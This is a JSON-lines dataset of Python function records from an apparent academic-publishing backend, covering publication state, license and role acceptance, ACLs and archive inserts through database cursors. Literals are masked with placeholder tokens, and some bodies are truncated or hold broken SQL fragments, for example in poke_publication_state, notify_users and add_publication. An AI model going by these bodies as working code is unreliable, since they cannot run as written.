{"signature": "def add_publication(cursor, epub, epub_file, is_pre_publication=False):", "body": "publisher = epub[<NUM_LIT:0>].metadata['<STR_LIT>']<EOL>publish_message = epub[<NUM_LIT:0>].metadata['<STR_LIT>']<EOL>epub_binary = psycopg2.Binary(epub_file.read())<EOL>args = (publisher, publish_message, epub_binary, is_pre_publication,)<EOL>cursor.execute(", "docstring": "Adds a publication entry and makes each item\n    a pending document.", "id": "f15202:m20"}
{"signature": "def _check_pending_document_license_state(cursor, document_id):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(document_id,))<EOL>try:<EOL><INDENT>is_accepted = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:<EOL><INDENT>is_accepted = True<EOL><DEDENT>return is_accepted<EOL>", "docstring": "Check the aggregate state on the pending document.", "id": "f15202:m21"}
{"signature": "def _check_pending_document_role_state(cursor, document_id):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(document_id,))<EOL>try:<EOL><INDENT>is_accepted = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:<EOL><INDENT>is_accepted = True<EOL><DEDENT>return is_accepted<EOL>", "docstring": "Check the aggregate state on the pending document.", "id": "f15202:m22"}
{"signature": "def _update_pending_document_state(cursor, document_id, is_license_accepted,<EOL>are_roles_accepted):", "body": "args = (bool(is_license_accepted), bool(are_roles_accepted),<EOL>document_id,)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>args)<EOL>", "docstring": "Update the state of the document's state values.", "id": "f15202:m23"}
{"signature": "@with_db_cursor<EOL>def is_revision_publication(publication_id, cursor):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\", (publication_id,))<EOL>try:<EOL><INDENT>cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:  <EOL><INDENT>has_revision_models = False<EOL><DEDENT>else:<EOL><INDENT>has_revision_models = True<EOL><DEDENT>return has_revision_models<EOL>", "docstring": "Checks to see if the publication contains any revised models.\n    Revised in this context means that it is a new version of an\n    existing piece of content.", "id": "f15202:m24"}
{"signature": "@with_db_cursor<EOL>def poke_publication_state(publication_id, cursor):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\", (publication_id,))<EOL>row = cursor.fetchone()<EOL>current_state, messages, is_pre_publication, publisher = row<EOL>if current_state in END_N_INTERIM_STATES:<EOL><INDENT>return current_state, messages<EOL><DEDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\"CT is_moderated<EOL>users AS u LEFT JOIN publications AS p ON (u.username = p.publisher)<EOL>E p.id = %s\"\"\"<STR_LIT>\"\"\"TE publications<EOL>state = %s<EOL>E id = %s<EOL>RNING state, state_messages\"\"\"<STR_LIT>\"\"\"TE publications<EOL>state = %s<EOL>E id = %s<EOL>RNING state, state_messages", "docstring": "Invoked to poke at the publication to update and acquire its current\n    state. This is used to persist the publication to archive.", "id": "f15202:m25"}
{"signature": "def check_publication_state(publication_id):", "body": "with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (publication_id,))<EOL>publication_state, publication_messages = cursor.fetchone()<EOL><DEDENT><DEDENT>return publication_state, publication_messages<EOL>", "docstring": "Check the publication's current state.", "id": "f15202:m26"}
{"signature": "def _node_to_model(tree_or_item, metadata=None, parent=None,<EOL>lucent_id=cnxepub.TRANSLUCENT_BINDER_ID):", "body": "if '<STR_LIT>' in tree_or_item:<EOL><INDENT>tree = tree_or_item<EOL>binder = cnxepub.TranslucentBinder(metadata=tree)<EOL>for item in tree['<STR_LIT>']:<EOL><INDENT>node = _node_to_model(item, parent=binder,<EOL>lucent_id=lucent_id)<EOL>if node.metadata['<STR_LIT:title>'] != item['<STR_LIT:title>']:<EOL><INDENT>binder.set_title_for_node(node, item['<STR_LIT:title>'])<EOL><DEDENT><DEDENT>result = binder<EOL><DEDENT>else:<EOL><INDENT>item = tree_or_item<EOL>result = cnxepub.DocumentPointer(item['<STR_LIT:id>'], metadata=item)<EOL><DEDENT>if parent is not None:<EOL><INDENT>parent.append(result)<EOL><DEDENT>return result<EOL>", "docstring": "Given a tree, parse to a set of models", "id": "f15202:m27"}
{"signature": "def _reassemble_binder(id, tree, metadata):", "body": "binder = cnxepub.Binder(id, metadata=metadata)<EOL>for item in tree['<STR_LIT>']:<EOL><INDENT>node = _node_to_model(item, parent=binder)<EOL>if node.metadata['<STR_LIT:title>'] != item['<STR_LIT:title>']:<EOL><INDENT>binder.set_title_for_node(node, item['<STR_LIT:title>'])<EOL><DEDENT><DEDENT>return binder<EOL>", "docstring": "Reassemble a Binder object coming out of the database.", "id": "f15202:m28"}
{"signature": "def publish_pending(cursor, publication_id):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(publication_id, publication_id,))<EOL>publisher, message = cursor.fetchone()<EOL>cursor.connection.commit()<EOL>all_models = []<EOL>from .publish import publish_model<EOL>type_ = cnxepub.Document.__name__<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (type_, publication_id,))<EOL>for row in cursor.fetchall():<EOL><INDENT>id, major_version, minor_version = row[<NUM_LIT:1>:<NUM_LIT:4>]<EOL>id = str(id)<EOL>version = '<STR_LIT:.>'.join([str(x)<EOL>for x in (major_version, minor_version,)<EOL>if x is not None])<EOL>metadata, content = row[-<NUM_LIT:2>:]<EOL>content = content[:]<EOL>metadata['<STR_LIT:version>'] = version<EOL>document = cnxepub.Document(id, content, metadata)<EOL>for ref in document.references:<EOL><INDENT>if ref.uri.startswith('<STR_LIT>'):<EOL><INDENT>hash = ref.uri[len('<STR_LIT>'):]<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (hash,))<EOL>data, media_type = cursor.fetchone()<EOL>document.resources.append(cnxepub.Resource(<EOL>hash, io.BytesIO(data[:]), media_type, filename=hash))<EOL><DEDENT><DEDENT>_ident_hash = publish_model(cursor, document, publisher, message)  <EOL>all_models.append(document)<EOL><DEDENT>type_ = cnxepub.Binder.__name__<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (type_, publication_id,))<EOL>for row in cursor.fetchall():<EOL><INDENT>id, major_version, minor_version, metadata = row[<NUM_LIT:1>:<NUM_LIT:5>]<EOL>tree = metadata['<STR_LIT>']<EOL>binder = _reassemble_binder(str(id), tree, metadata)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(binder.ident_hash,))<EOL>binder.resources = [<EOL>cnxepub.Resource(r_hash,<EOL>io.BytesIO(r_data[:]),<EOL>r_media_type,<EOL>filename=r_filename)<EOL>for (r_hash, r_data, r_media_type, r_filename)<EOL>in cursor.fetchall()]<EOL>_ident_hash = publish_model(cursor, binder, publisher, message)  <EOL>all_models.append(binder)<EOL><DEDENT>from .publish import republish_binders<EOL>_republished_ident_hashes = republish_binders(cursor, all_models)  <EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (publication_id,))<EOL>state = cursor.fetchone()[<NUM_LIT:0>]<EOL>return state<EOL>", "docstring": "Given a publication id as ``publication_id``,\n    write the documents to the *Connexions Archive*.", "id": "f15202:m29"}
{"signature": "def accept_publication_license(cursor, publication_id, user_id,<EOL>document_ids, is_accepted=False):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(is_accepted, publication_id, user_id, document_ids,))<EOL>", "docstring": "Accept or deny  the document license for the publication\n    (``publication_id``) and user (at ``user_id``)\n    for the documents (listed by id as ``document_ids``).", "id": "f15202:m30"}
{"signature": "def accept_publication_role(cursor, publication_id, user_id,<EOL>document_ids, is_accepted=False):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(is_accepted, publication_id, user_id, document_ids,))<EOL>", "docstring": "Accept or deny  the document role attribution for the publication\n    (``publication_id``) and user (at ``user_id``)\n    for the documents (listed by id as ``document_ids``).", "id": "f15202:m31"}
{"signature": "def upsert_license_requests(cursor, uuid_, roles):", "body": "if not isinstance(roles, (list, set, tuple)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(type(roles)))<EOL><DEDENT>acceptors = set([x['<STR_LIT>'] for x in roles])<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(uuid_,))<EOL>existing_acceptors = cursor.fetchall()<EOL>new_acceptors = acceptors.difference([x[<NUM_LIT:0>] for x in existing_acceptors])<EOL>if new_acceptors:<EOL><INDENT>args = []<EOL>values_fmt = []<EOL>for uid in new_acceptors:<EOL><INDENT>has_accepted = [x.get('<STR_LIT>', None)<EOL>for x in roles<EOL>if uid == x['<STR_LIT>']][<NUM_LIT:0>]<EOL>args.extend([uuid_, uid, has_accepted])<EOL>values_fmt.append(\"<STR_LIT>\")<EOL><DEDENT>values_fmt = '<STR_LIT:U+002CU+0020>'.join(values_fmt)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\".format(values_fmt), args)<EOL><DEDENT>acceptors = set([<EOL>(x['<STR_LIT>'], x.get('<STR_LIT>', None),)<EOL>for x in roles<EOL>if (x['<STR_LIT>'], x.get('<STR_LIT>', None),) not in new_acceptors<EOL>])<EOL>existing_acceptors = set([<EOL>x for x in existing_acceptors<EOL>if x[<NUM_LIT:0>] not in new_acceptors<EOL>])<EOL>tobe_updated_acceptors = acceptors.difference(existing_acceptors)<EOL>for uid, has_accepted in tobe_updated_acceptors:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (has_accepted, uuid_, uid,))<EOL><DEDENT>", "docstring": "Given a ``uuid`` and list of ``roles`` (user identifiers)\n    create a license acceptance entry. If ``has_accepted`` is supplied,\n    it will be used to assign an acceptance value to all listed ``uids``.", "id": "f15202:m32"}
{"signature": "def remove_license_requests(cursor, uuid_, uids):", "body": "if not isinstance(uids, (list, set, tuple)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(type(uids)))<EOL><DEDENT>acceptors = list(set(uids))<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_, acceptors,))<EOL>", "docstring": "Given a ``uuid`` and list of ``uids`` (user identifiers)\n    remove the identified users' license acceptance entries.", "id": "f15202:m33"}
{"signature": "def upsert_role_requests(cursor, uuid_, roles):", "body": "if not isinstance(roles, (list, set, tuple)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>.format(type(roles)))<EOL><DEDENT>acceptors = set([(x['<STR_LIT>'], x['<STR_LIT>'],) for x in roles])<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>existing_roles = cursor.fetchall()<EOL>existing_acceptors = set([(r, t,) for r, t, _ in existing_roles])<EOL>new_acceptors = acceptors.difference(existing_acceptors)<EOL>for acceptor, type_ in new_acceptors:<EOL><INDENT>has_accepted = [x.get('<STR_LIT>', None)<EOL>for x in roles<EOL>if acceptor == x['<STR_LIT>'] and type_ == x['<STR_LIT>']][<NUM_LIT:0>]<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_, acceptor, type_, has_accepted,))<EOL><DEDENT>acceptors = set([<EOL>(x['<STR_LIT>'], x['<STR_LIT>'], x.get('<STR_LIT>', None),)<EOL>for x in roles<EOL>if (x['<STR_LIT>'], x.get('<STR_LIT>', None),) not in new_acceptors<EOL>])<EOL>existing_acceptors = set([<EOL>x for x in existing_roles<EOL>if (x[<NUM_LIT:0>], x[<NUM_LIT:1>],) not in new_acceptors<EOL>])<EOL>tobe_updated_acceptors = acceptors.difference(existing_acceptors)<EOL>for uid, type_, has_accepted in tobe_updated_acceptors:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(has_accepted, uuid_, uid, type_,))<EOL><DEDENT>", "docstring": "Given a ``uuid`` and list of dicts containing the ``uid`` and\n    ``role`` for creating a role acceptance entry. The ``roles`` dict\n    can optionally contain a ``has_accepted`` value, which will default\n    to true.", "id": "f15202:m34"}
{"signature": "def remove_role_requests(cursor, uuid_, roles):", "body": "if not isinstance(roles, (list, set, tuple)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(type(roles)))<EOL><DEDENT>acceptors = set([(x['<STR_LIT>'], x['<STR_LIT>'],) for x in roles])<EOL>for uid, role_type in acceptors:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(uuid_, uid, role_type,))<EOL><DEDENT>", "docstring": "Given a ``uuid`` and list of dicts containing the ``uid``\n    (user identifiers) and ``role`` for removal of the identified\n    users' role acceptance entries.", "id": "f15202:m35"}
{"signature": "def upsert_acl(cursor, uuid_, permissions):", "body": "if not isinstance(permissions, (list, set, tuple)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>.format(type(permissions)))<EOL><DEDENT>permissions = set(permissions)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>existing = set([(r, t,) for r, t in cursor.fetchall()])<EOL>new_entries = permissions.difference(existing)<EOL>for uid, permission in new_entries:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_, uid, permission))<EOL><DEDENT>", "docstring": "Given a ``uuid`` and a set of permissions given as a\n    tuple of ``uid`` and ``permission``, upsert them into the database.", "id": "f15202:m36"}
{"signature": "def remove_acl(cursor, uuid_, permissions):", "body": "if not isinstance(permissions, (list, set, tuple)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>.format(type(permissions)))<EOL><DEDENT>permissions = set(permissions)<EOL>for uid, permission in permissions:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(uuid_, uid, permission,))<EOL><DEDENT>", "docstring": "Given a ``uuid`` and a set of permissions given as a tuple\n    of ``uid`` and ``permission``, remove these entries from the database.", "id": "f15202:m37"}
{"signature": "def _upsert_persons(cursor, person_ids, lookup_func):", "body": "person_ids = list(set(person_ids))  <EOL>cursor.execute(\"<STR_LIT>\",<EOL>(person_ids,))<EOL>existing_person_ids = [x[<NUM_LIT:0>] for x in cursor.fetchall()]<EOL>new_person_ids = [p for p in person_ids if p not in existing_person_ids]<EOL>for person_id in existing_person_ids:<EOL><INDENT>person_info = lookup_func(person_id)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", person_info)<EOL><DEDENT>for person_id in new_person_ids:<EOL><INDENT>person_info = lookup_func(person_id)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", person_info)<EOL><DEDENT>", "docstring": "Upsert's user info into the database.\n    The model contains the user info as part of the role values.", "id": "f15202:m38"}
{"signature": "def _upsert_users(cursor, user_ids, lookup_func):", "body": "user_ids = list(set(user_ids))  <EOL>cursor.execute(\"<STR_LIT>\",<EOL>(user_ids,))<EOL>existing_user_ids = [x[<NUM_LIT:0>] for x in cursor.fetchall()]<EOL>new_user_ids = [u for u in user_ids if u not in existing_user_ids]<EOL>for user_id in existing_user_ids:<EOL><INDENT>user_info = lookup_func(user_id)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", user_info)<EOL><DEDENT>for user_id in new_user_ids:<EOL><INDENT>user_info = lookup_func(user_id)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", user_info)<EOL><DEDENT>", "docstring": "Upsert's user info into the database.\n    The model contains the user info as part of the role values.", "id": "f15202:m39"}
{"signature": "def upsert_users(cursor, user_ids):", "body": "accounts = get_current_registry().getUtility(IOpenstaxAccounts)<EOL>def lookup_profile(username):<EOL><INDENT>profile = accounts.get_profile_by_username(username)<EOL>if profile is None:<EOL><INDENT>raise UserFetchError(username)<EOL><DEDENT>opt_attrs = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT:title>', '<STR_LIT>',)<EOL>for attr in opt_attrs:<EOL><INDENT>profile.setdefault(attr, None)<EOL><DEDENT>return profile<EOL><DEDENT>_upsert_users(cursor, user_ids, lookup_profile)<EOL>_upsert_persons(cursor, user_ids, lookup_profile)<EOL>", "docstring": "Given a set of user identifiers (``user_ids``),\n    upsert them into the database after checking accounts for\n    the latest information.", "id": "f15202:m40"}
{"signature": "def notify_users(cursor, document_id):", "body": "return<EOL>registry = get_current_registry()<EOL>accounts = registry.getUtility(IOpenstaxAccounts)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\"CT user_id, array_agg(role_type)::text[]<EOL>role_acceptances AS ra<EOL>E<EOL>.uuid = (SELECT uuid FROM pending_documents WHERE id = %s)<EOL>D ra.notified IS NULL AND (NOT ra.accepted or ra.accepted IS UNKNOWN)<EOL>P BY user_id<EOL>(document_id,))<EOL>roles = {u: r for u, r in cursor.fetchall()}<EOL>needs_notified = set(licensors + list(roles.keys()))<EOL>for user_id in needs_notified:<EOL><INDENT>data = {<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': None,  <EOL>'<STR_LIT>': user_id in licensors,<EOL>'<STR_LIT>': roles.get(user_id, []),<EOL>}<EOL>message = NOTIFICATION_TEMPLATE.render(**data)<EOL>accounts.send_message(user_id, NOFIFICATION_SUBJECT, message)<EOL><DEDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (document_id, licensors,))<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (document_id, list(roles.keys()),))<EOL>", "docstring": "Notify all users about their role and/or license acceptance\n    for a piece of content associated with the given ``document_id``.", "id": "f15202:m41"}
{"signature": "def set_post_publications_state(cursor, module_ident, state_name,<EOL>state_message='<STR_LIT>'):  ", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\", (module_ident, state_name, state_message))<EOL>", "docstring": "This sets the post-publication state in the database.", "id": "f15202:m42"}
{"signature": "def update_module_state(cursor, module_ident,<EOL>state_name, recipe):  ", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(state_name, recipe, module_ident))<EOL>", "docstring": "This updates the module's state in the database.", "id": "f15202:m43"}
{"signature": "def task(**kwargs):", "body": "def wrapper(wrapped):<EOL><INDENT>def callback(scanner, name, obj):<EOL><INDENT>celery_app = scanner.config.registry.celery_app<EOL>celery_app.task(**kwargs)(obj)<EOL><DEDENT>venusian.attach(wrapped, callback)<EOL>return wrapped<EOL><DEDENT>return wrapper<EOL>", "docstring": "A function task decorator used in place of ``@celery_app.task``.", "id": "f15203:m0"}
{"signature": "def _make_celery_app(config):", "body": "<EOL>config.registry.celery_app.conf['<STR_LIT>'] = config<EOL>return config.registry.celery_app<EOL>", "docstring": "This exposes the celery app. The app is actually created as part\n    of the configuration. However, this does make the celery app functional\n    as a stand-alone celery application.\n\n    This puts the pyramid configuration object on the celery app to be\n    used for making the registry available to tasks running inside the\n    celery worker process pool. See ``CustomTask.__call__``.", "id": "f15203:m1"}
{"signature": "def _insert_optional_roles(cursor, model, ident):", "body": "optional_roles = [<EOL>('<STR_LIT>', <NUM_LIT:4>,),<EOL>('<STR_LIT>', <NUM_LIT:5>,),<EOL>]<EOL>for attr, role_id in optional_roles:<EOL><INDENT>roles = model.metadata.get(attr)<EOL>if not roles:<EOL><INDENT>continue<EOL><DEDENT>usernames = [parse_user_uri(x['<STR_LIT:id>']) for x in roles]<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (ident, role_id, usernames,))<EOL><DEDENT>", "docstring": "Inserts the optional roles if values for the optional roles\n    exist.", "id": "f15204:m2"}
{"signature": "def _insert_metadata(cursor, model, publisher, message):", "body": "params = model.metadata.copy()<EOL>params['<STR_LIT>'] = publisher<EOL>params['<STR_LIT>'] = message<EOL>params['<STR_LIT>'] = _model_to_portaltype(model)<EOL>params['<STR_LIT>'] = str(cnxepub.DocumentSummaryFormatter(model))<EOL>for person_field in ATTRIBUTED_ROLE_KEYS:<EOL><INDENT>params[person_field] = [parse_user_uri(x['<STR_LIT:id>'])<EOL>for x in params.get(person_field, [])]<EOL><DEDENT>params['<STR_LIT>'] = parse_parent_ident_hash(model)<EOL>if model.ident_hash is not None:<EOL><INDENT>uuid, version = split_ident_hash(model.ident_hash,<EOL>split_version=True)<EOL>params['<STR_LIT>'] = uuid<EOL>params['<STR_LIT>'], params['<STR_LIT>'] = version<EOL>cursor.execute(\"<STR_LIT>\",<EOL>(uuid,))<EOL>try:<EOL><INDENT>moduleid = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:  <EOL><INDENT>moduleid = None<EOL><DEDENT>params['<STR_LIT>'] = moduleid<EOL>cursor.execute(\"<STR_LIT>\",<EOL>(uuid,))<EOL>try:<EOL><INDENT>cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:  <EOL><INDENT>cursor.execute(\"<STR_LIT>\",<EOL>(uuid,))<EOL><DEDENT>created = model.metadata.get('<STR_LIT>', None)<EOL>stmt = MODULE_INSERTION_TEMPLATE.format(**{<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': moduleid is None and \"<STR_LIT>\" or \"<STR_LIT>\",<EOL>'<STR_LIT>': created is None and \"<STR_LIT>\" or \"<STR_LIT>\",<EOL>})<EOL><DEDENT>else:<EOL><INDENT>created = model.metadata.get('<STR_LIT>', None)<EOL>stmt = MODULE_INSERTION_TEMPLATE.format(**{<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': created is None and \"<STR_LIT>\" or \"<STR_LIT>\",<EOL>})<EOL><DEDENT>cursor.execute(stmt, params)<EOL>module_ident, ident_hash = cursor.fetchone()<EOL>_insert_optional_roles(cursor, model, module_ident)<EOL>return module_ident, ident_hash<EOL>", "docstring": "Insert a module with the given ``metadata``.", "id": "f15204:m3"}
{"signature": "def _get_file_sha1(file):", "body": "bits = file.read()<EOL>file.seek(<NUM_LIT:0>)<EOL>h = hashlib.new('<STR_LIT>', bits).hexdigest()<EOL>return h<EOL>", "docstring": "Return the SHA1 hash of the given a file-like object as ``file``.\n    This will seek the file back to 0 when it's finished.", "id": "f15204:m4"}
{"signature": "def _insert_file(cursor, file, media_type):", "body": "resource_hash = _get_file_sha1(file)<EOL>cursor.execute(\"<STR_LIT>\",<EOL>(resource_hash,))<EOL>try:<EOL><INDENT>fileid = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except (IndexError, TypeError):<EOL><INDENT>cursor.execute(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>(psycopg2.Binary(file.read()), media_type,))<EOL>fileid = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>return fileid, resource_hash<EOL>", "docstring": "Upsert the ``file`` and ``media_type`` into the files table.\n    Returns the ``fileid`` and ``sha1`` of the upserted file.", "id": "f15204:m5"}
{"signature": "def _insert_resource_file(cursor, module_ident, resource):", "body": "with resource.open() as file:<EOL><INDENT>fileid, _ = _insert_file(cursor, file, resource.media_type)<EOL><DEDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(fileid, module_ident, resource.filename,))<EOL>try:<EOL><INDENT>is_same_file = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:  <EOL><INDENT>is_same_file = None<EOL><DEDENT>if is_same_file:<EOL><INDENT>return<EOL><DEDENT>elif is_same_file is not None:  <EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>args = (module_ident, fileid, resource.filename,)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", args)<EOL>", "docstring": "Insert a resource into the modules_files table. This will\n    create a new file entry or associates an existing one.", "id": "f15204:m6"}
{"signature": "def _insert_tree(cursor, tree, parent_id=None, index=<NUM_LIT:0>, is_collated=False):", "body": "if isinstance(tree, dict):<EOL><INDENT>if tree['<STR_LIT:id>'] == '<STR_LIT>':<EOL><INDENT>document_id = None<EOL>title = tree['<STR_LIT:title>']<EOL><DEDENT>else:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (tree['<STR_LIT:id>'],))<EOL>try:<EOL><INDENT>document_id, document_title = cursor.fetchone()<EOL><DEDENT>except TypeError:  <EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>.format(tree['<STR_LIT:id>']))<EOL><DEDENT>if tree.get('<STR_LIT:title>', None):<EOL><INDENT>title = tree['<STR_LIT:title>']<EOL><DEDENT>else:<EOL><INDENT>title = document_title<EOL><DEDENT><DEDENT>is_latest = True<EOL>cursor.execute(TREE_NODE_INSERT,<EOL>dict(document_id=document_id, parent_id=parent_id,<EOL>title=title, child_order=index,<EOL>is_latest=is_latest, is_collated=is_collated))<EOL>node_id = cursor.fetchone()[<NUM_LIT:0>]<EOL>if '<STR_LIT>' in tree:<EOL><INDENT>_insert_tree(cursor, tree['<STR_LIT>'], parent_id=node_id,<EOL>is_collated=is_collated)<EOL><DEDENT><DEDENT>elif isinstance(tree, list):<EOL><INDENT>for tree_node in tree:<EOL><INDENT>_insert_tree(cursor, tree_node, parent_id=parent_id,<EOL>index=tree.index(tree_node), is_collated=is_collated)<EOL><DEDENT><DEDENT>", "docstring": "Inserts a binder tree into the archive.", "id": "f15204:m7"}
{"signature": "def publish_model(cursor, model, publisher, message):", "body": "publishers = publisher<EOL>if isinstance(publishers, list) and len(publishers) > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>.format(len(publishers), publishers))<EOL><DEDENT>module_ident, ident_hash = _insert_metadata(cursor, model,<EOL>publisher, message)<EOL>for resource in getattr(model, '<STR_LIT>', []):<EOL><INDENT>_insert_resource_file(cursor, module_ident, resource)<EOL><DEDENT>if isinstance(model, Document):<EOL><INDENT>html = bytes(cnxepub.DocumentContentFormatter(model))<EOL>sha1 = hashlib.new('<STR_LIT>', html).hexdigest()<EOL>cursor.execute(\"<STR_LIT>\", (sha1,))<EOL>try:<EOL><INDENT>fileid = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:<EOL><INDENT>file_args = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:data>': psycopg2.Binary(html),<EOL>}<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", file_args)<EOL>fileid = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>args = {<EOL>'<STR_LIT>': module_ident,<EOL>'<STR_LIT:filename>': '<STR_LIT>',<EOL>'<STR_LIT>': fileid,<EOL>}<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", args)<EOL><DEDENT>elif isinstance(model, Binder):<EOL><INDENT>tree = cnxepub.model_to_tree(model)<EOL>tree = _insert_tree(cursor, tree)<EOL><DEDENT>return ident_hash<EOL>", "docstring": "Publishes the ``model`` and return its ident_hash.", "id": "f15204:m8"}
{"signature": "def publish_composite_model(cursor, model, parent_model, publisher, message):", "body": "if not (isinstance(model, CompositeDocument) or<EOL>(isinstance(model, Binder) and<EOL>model.metadata.get('<STR_LIT:type>') == '<STR_LIT>')):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(type(model)))<EOL><DEDENT>if issequence(publisher) and len(publisher) > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>.format(len(publisher), publisher))<EOL><DEDENT>module_ident, ident_hash = _insert_metadata(cursor, model,<EOL>publisher, message)<EOL>model.id, model.metadata['<STR_LIT:version>'] = split_ident_hash(ident_hash)<EOL>model.set_uri('<STR_LIT>', ident_hash)<EOL>for resource in model.resources:<EOL><INDENT>_insert_resource_file(cursor, module_ident, resource)<EOL><DEDENT>if isinstance(model, CompositeDocument):<EOL><INDENT>html = bytes(cnxepub.DocumentContentFormatter(model))<EOL>fileid, _ = _insert_file(cursor, io.BytesIO(html), '<STR_LIT>')<EOL>file_arg = {<EOL>'<STR_LIT>': module_ident,<EOL>'<STR_LIT>': parent_model.ident_hash,<EOL>'<STR_LIT>': fileid,<EOL>}<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", file_arg)<EOL><DEDENT>return ident_hash<EOL>", "docstring": "Publishes the ``model`` and return its ident_hash.", "id": "f15204:m9"}
{"signature": "def publish_collated_document(cursor, model, parent_model):", "body": "html = bytes(cnxepub.DocumentContentFormatter(model))<EOL>sha1 = hashlib.new('<STR_LIT>', html).hexdigest()<EOL>cursor.execute(\"<STR_LIT>\", (sha1,))<EOL>try:<EOL><INDENT>fileid = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:<EOL><INDENT>file_args = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:data>': psycopg2.Binary(html),<EOL>}<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", file_args)<EOL>fileid = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>args = {<EOL>'<STR_LIT>': model.ident_hash,<EOL>'<STR_LIT>': parent_model.ident_hash,<EOL>'<STR_LIT>': fileid,<EOL>}<EOL>stmt = \"\"\"<STR_LIT>\"\"\"<EOL>cursor.execute(stmt, args)<EOL>", "docstring": "Publish a given `module`'s collated content in the context of\n    the `parent_model`. Note, the model's content is expected to already\n    have the collated content. This will just persist that content to\n    the archive.", "id": "f15204:m10"}
{"signature": "def publish_collated_tree(cursor, tree):", "body": "tree = _insert_tree(cursor, tree, is_collated=True)<EOL>return tree<EOL>", "docstring": "Publish a given collated `tree` (containing newly added\n    `CompositeDocument` objects and number inforation)\n    alongside the original tree.", "id": "f15204:m11"}
